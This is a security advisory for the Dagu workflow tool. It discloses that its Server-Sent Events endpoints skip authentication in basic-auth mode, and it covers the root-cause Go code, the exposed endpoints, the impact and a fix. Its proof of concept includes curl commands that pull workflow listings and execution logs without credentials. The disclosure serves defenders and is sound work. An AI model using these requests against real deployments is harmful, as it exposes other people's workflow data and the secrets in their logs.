GHSA-9wmw-9wph-2vwp Dagu: SSE Authentication Bypass in Basic Auth Mode

• npm dagu: < 2.2.4 → fixed in 2.2.4

SSE Authentication Bypass in Basic Auth Mode Summary When Dagu is configured with HTTP Basic authentication (`DAGU_AUTH_MODE=basic`), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API. Severity HIGH (CVSS 3.1: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) Affected Versions • dagu v2.2.3 (latest) and likely all versions with basic auth support Affected Component `internal/service/frontend/server.go` — `buildStreamAuthOptions()` function (lines 1177–1201) Root Cause The `buildStreamAuthOptions()` function builds authentication options for SSE/streaming endpoints. When the auth mode is `basic`, it returns an `auth.Options` struct with `BasicAuthEnabled: true` but `AuthRequired` defaults to `false` (Go zero value): ```go // server.go:1195-1201 if authCfg.Mode == config.AuthModeBasic { return auth.Options{ Realm: realm, BasicAuthEnabled: true, Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password}, // AuthRequired is NOT set — defaults to false } } ``` The authentication middleware at `internal/service/frontend/auth/middleware.go:181-183` allows unauthenticated requests when `AuthRequired` is false: ```go // No credentials provided // If auth is not required, allow the request through if !opts.AuthRequired { next.ServeHTTP(w, r) return } ``` The developers left a FIXME comment (line 1193) acknowledging this issue: ``` // FIXME: add a session-token mechanism for basic-auth users so browser // EventSource requests can authenticate via the ?token= query parameter. ``` Exposed SSE Endpoints All SSE routes are affected (`server.go:1004-1019`): | Endpoint | Data Leaked | |----------|-------------| | `/api/v1/events/dags` | All DAG names, descriptions, file paths, schedules, tags, execution status | | `/api/v1/events/dags/{fileName}` | Individual DAG configuration details | | `/api/v1/events/dags/{fileName}/dag-runs` | DAG execution history | | `/api/v1/events/dag-runs` | All active DAG runs across the system | | `/api/v1/events/dag-runs/{name}/{dagRunId}` | Specific DAG run status and node details | | `/api/v1/events/dag-runs/{name}/{dagRunId}/logs` | Execution logs (may contain secrets, credentials, API keys) | | `/api/v1/events/dag-runs/{name}/{dagRunId}/logs/steps/{stepName}` | Step-level stdout/stderr logs | | `/api/v1/events/queues` | Queue status and pending work items | | `/api/v1/events/queues/{name}/items` | Queue item details | | `/api/v1/events/docs-tree` | Documentation tree | | `/api/v1/events/docs/*` | Documentation content | Additionally, the Agent SSE stream uses the same auth options (`server.go:1166`). Proof of Concept Setup ```bash Start Dagu with basic auth export DAGU_AUTH_MODE=basic export DAGU_AUTH_BASIC_USERNAME=admin export DAGU_AUTH_BASIC_PASSWORD=secret123 dagu start-all ``` Verify REST API requires auth ```bash Regular API — returns 401 Unauthorized curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/api/v1/dags Output: 401 With credentials — returns 200 curl -s -o /dev/null -w "%{http_code}" -u admin:secret123 http://localhost:8080/api/v1/dags Output: 200 ``` Exploit SSE bypass ```bash SSE endpoint WITHOUT any credentials — returns 200 with full data curl -s -N http://localhost:8080/api/v1/events/dags ``` Output (truncated): ``` event: connected data: {"topic":"dagslist:"} event: data data: {"dags":[{"dag":{"name":"example-01-basic-sequential","schedule":[],...}, "filePath":"/home/user/.config/dagu/dags/example-01-basic-sequential.yaml", "latestDAGRun":{"dagRunId":"...","status":4,"statusLabel":"succeeded",...}}, ...]} ``` ```bash Access execution logs without credentials curl -s -N http://localhost:8080/api/v1/events/dag-runs/{dagName}/{runId}/logs ``` Output: ``` event: data data: {"schedulerLog":{"content":"...step execution details, parameters, outputs..."},"stepLogs":[...]} ``` Wrong credentials are rejected ```bash Invalid credentials — returns 401 (auth validates IF provided, but doesn't REQUIRE it) curl -s -o /dev/null -w "%{http_code}" -u wrong:wrong http://localhost:8080/api/v1/events/dags Output: 401 ``` Impact An unauthenticated network attacker can: 1. Enumerate all workflows: DAG names, descriptions, file paths, schedules, and tags 2. Monitor execution in real-time: Track which workflows are running, their status, and when they complete 3. Read execution logs: Access stdout/stderr of workflow steps, which commonly contain sensitive data (API keys, database credentials, tokens, internal hostnames) 4. Map infrastructure: File paths and workflow configurations reveal server directory structure and deployment details 5. Observe queue state: Understand pending work items and system load This is especially critical in environments where: • Workflows process sensitive data (credentials, PII, financial data) • DAG parameters contain secrets passed at runtime • Log output includes API responses or database queries with sensitive content Suggested Fix Set `AuthRequired: true` for basic auth mode and implement the session-token mechanism referenced in the FIXME comment: ```go if authCfg.Mode == config.AuthModeBasic { return auth.Options{ Realm: realm, BasicAuthEnabled: true, AuthRequired: true, // Require authentication Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password}, } } ``` For browser SSE compatibility, implement a session token that can be passed via the `?token=` query parameter (the `QueryTokenMiddleware` already exists at `auth/middleware.go:39` to convert query params to Bearer tokens).